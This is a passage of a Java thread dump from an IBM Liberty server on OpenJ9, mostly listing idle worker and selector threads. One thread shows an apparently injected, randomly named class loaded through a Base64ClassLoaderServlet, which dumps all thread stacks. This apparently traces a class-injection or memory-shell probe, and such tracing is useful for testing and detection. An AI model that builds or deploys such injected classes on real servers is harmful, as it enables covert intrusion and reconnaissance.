java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-7" #57 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f6ca258c + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-15" #68 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@6e18332b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Inbound Write Selector.1" #61 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"sib.SpillDispatcher-77EB184637998288-7" #88 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@4a9590e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Inbound Read Selector.1" #71 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-5" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@65df54b7 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-21" #90 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c3a74ae8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"GC Worker" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Executor Service Control Timer" #46 daemon [TIMED_WAITING] on java.util.TaskQueue@e7d6b3e3 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Timer-0" #28 [TIMED_WAITING] on java.util.TaskQueue@886996f7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"System defaultME : 1" #93 daemon [TIMED_WAITING] on com.ibm.ws.util.BoundedBuffer$GetQueueLock@add360a4 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.util.BoundedBuffer.waitGet_(BoundedBuffer.java:333) + at com.ibm.ws.util.BoundedBuffer.poll(BoundedBuffer.java:801) + at com.ibm.ws.util.ThreadPool.getTask(ThreadPool.java:899) + at com.ibm.ws.util.ThreadPool$Worker.run(ThreadPool.java:1676) + +"Thread-23" #96 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at org.apache.yoko.orb.OCI.IIOP.Acceptor_impl.accept(Acceptor_impl.java:125) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.starterRun(GIOPServerStarterThreaded.java:171) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded.access$000(GIOPServerStarterThreaded.java:31) + at org.apache.yoko.orb.OB.GIOPServerStarterThreaded$Starter.run(GIOPServerStarterThreaded.java:35) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"ClassloaderMapProcessingThread-32" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e810209 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"zip file reaper" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a72a603 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperLock.wait(ZipFileReaper.java:1226) + at com.ibm.ws.artifact.zip.cache.internal.ZipFileReaper$ReaperRunnable.run(ZipFileReaper.java:442) + at java.lang.Thread.run(Thread.java:823) + +"JIT Compilation Thread-002 Suspended" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-13" #66 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@9e731452 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-12" #65 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@307f9494 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-6" #55 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.getStackTrace(Thread.java:1165) + at java.lang.Thread.getAllStackTraces(Thread.java:1193) + at org.apache.ETnOi.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:3470) + at java.io.PrintWriter.print(PrintWriter.java:617) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.service(ServletWrapper.java:1230) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:729) + at com.ibm.ws.webcontainer.servlet.ServletWrapper.handleRequest(ServletWrapper.java:426) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.invokeTarget(WebAppFilterChain.java:182) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:93) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90) + at com.ibm.ws.security.jaspi.JaspiServletFilter.doFilter(JaspiServletFilter.java:56) + at com.ibm.ws.webcontainer.filter.FilterInstanceWrapper.doFilter(FilterInstanceWrapper.java:201) + at com.ibm.ws.webcontainer.filter.WebAppFilterChain.doFilter(WebAppFilterChain.java:90) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.doFilter(WebAppFilterManager.java:1001) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1139) + at com.ibm.ws.webcontainer.filter.WebAppFilterManager.invokeFilters(WebAppFilterManager.java:1010) + at com.ibm.ws.webcontainer.servlet.CacheServletWrapper.handleRequest(CacheServletWrapper.java:75) + at com.ibm.ws.webcontainer40.servlet.CacheServletWrapper40.handleRequest(CacheServletWrapper40.java:83) + at com.ibm.ws.webcontainer.WebContainer.handleRequest(WebContainer.java:936) + at com.ibm.ws.webcontainer.osgi.DynamicVirtualHost$2.run(DynamicVirtualHost.java:279) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink$TaskWrapper.run(HttpDispatcherLink.java:1141) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.wrapHandlerAndExecute(HttpDispatcherLink.java:422) + at com.ibm.ws.http.dispatcher.internal.channel.HttpDispatcherLink.ready(HttpDispatcherLink.java:381) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleDiscrimination(HttpInboundLink.java:565) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.handleNewRequest(HttpInboundLink.java:499) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.processRequest(HttpInboundLink.java:359) + at com.ibm.ws.http.channel.internal.inbound.HttpInboundLink.ready(HttpInboundLink.java:326) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.sendToDiscriminators(NewConnectionInitialReadCallback.java:167) + at com.ibm.ws.tcpchannel.internal.NewConnectionInitialReadCallback.complete(NewConnectionInitialReadCallback.java:75) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.requestComplete(WorkQueueManager.java:504) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.attemptIO(WorkQueueManager.java:574) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager.workerRun(WorkQueueManager.java:958) + at com.ibm.ws.tcpchannel.internal.WorkQueueManager$Worker.run(WorkQueueManager.java:1047) + at com.ibm.ws.threading.internal.ExecutorServiceImpl$RunnableWrapper.run(ExecutorServiceImpl.java:239) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"sib.SpillDispatcher-77EB184637998288-1" #82 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@97172478 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"JIT Compilation Thread-003 Suspended" #5 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"GC Worker" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Inbound Write Selector.1" #99 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"main" #1 [WAITING] on java.util.concurrent.atomic.AtomicReference@75e2431a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at org.eclipse.osgi.container.SystemModule.waitForStop(SystemModule.java:173) + at org.eclipse.osgi.internal.framework.EquinoxBundle$SystemBundle.waitForStop(EquinoxBundle.java:306) + at org.eclipse.osgi.launch.Equinox.waitForStop(Equinox.java:198) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.waitForFrameworkStop(FrameworkManager.java:719) + at com.ibm.ws.kernel.launch.internal.FrameworkManager.launchFramework(FrameworkManager.java:313) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.doFrameworkLaunch(LauncherDelegateImpl.java:114) + at com.ibm.ws.kernel.launch.internal.LauncherDelegateImpl.launchFramework(LauncherDelegateImpl.java:100) + at com.ibm.ws.kernel.boot.internal.KernelBootstrap.go(KernelBootstrap.java:214) + at com.ibm.ws.kernel.boot.Launcher.handleActions(Launcher.java:241) + at com.ibm.ws.kernel.boot.Launcher.createPlatform(Launcher.java:117) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:59) + at com.ibm.ws.kernel.boot.cmdline.EnvCheck.main(EnvCheck.java:35) + +"JIT Compilation Thread-004 Suspended" #6 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Timer-1" #30 [TIMED_WAITING] on java.util.TaskQueue@90df577 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"GC Worker" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-20" #89 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5ec8a99 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"sib.SpillDispatcher-77EB184637998288-2" #83 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@7895f131 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Bundle File Closer" #54 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@8dbbfe7b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341) + +"Inbound Write Selector.1" #101 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"JIT Compilation Thread-001 Suspended" #3 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"sib.SpillDispatcher-77EB184637998288-0" #81 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@9f2deceb + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #39 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Active Thread: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #31 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@efe1c97a + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Concurrent Mark Helper" #13 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Inbound Write Selector.1" #72 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"NotifyHelper" #76 daemon [WAITING] on com.ibm.ws.objectManager.FileLogOutput$NotifyHelper@52c8c6fc + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at com.ibm.ws.objectManager.FileLogOutput$NotifyHelper.run(FileLogOutput.java:3340) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-9" #59 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@fe553142 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Default Executor-thread-16" #69 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@d8e80ee0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"sib.SpillDispatcher-77EB184637998288-6" #87 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@e3033110 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Attach API wait loop" #26 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at openj9.internal.tools.attach.target.IPC.waitSemaphore(Native Method) + at openj9.internal.tools.attach.target.CommonDirectory.waitSemaphore(CommonDirectory.java:259) + at openj9.internal.tools.attach.target.WaitLoop.waitForNotification(WaitLoop.java:66) + at openj9.internal.tools.attach.target.WaitLoop.run(WaitLoop.java:154) + +"Timer-3" #44 daemon [TIMED_WAITING] on java.util.TaskQueue@4eb4e0f7 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"sib.SpillDispatcher-77EB184637998288-3" #84 daemon [WAITING] on com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$DispatchingLock@6336802 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.sib.msgstore.persistence.dispatcher.SpillDispatcher$SpillDispatcherThread.run(SpillDispatcher.java:586) + at java.lang.Thread.run(Thread.java:823) + +"Timer-5" #79 daemon [TIMED_WAITING] on java.util.TaskQueue@52088b4f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Timer-4" #56 daemon [WAITING] on java.util.TaskQueue@6e059e8d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Default Executor-thread-17" #73 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@2972cf6f + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #40 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:823) + +"Start Level: Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #37 daemon [WAITING] on org.eclipse.osgi.framework.eventmgr.EventManager$EventThread@8e2c1fd4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.getNextEvent(EventManager.java:400) + at org.eclipse.osgi.framework.eventmgr.EventManager$EventThread.run(EventManager.java:341) + +"Shared TCPChannel NonBlocking Accept Thread" #62 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:168) + at java.lang.Thread.run(Thread.java:823) + +"Equinox start level thread - Equinox Container: 73d02be8-a74f-4c7b-833c-eec1ecfe03f7" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e0fdb9a7 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at 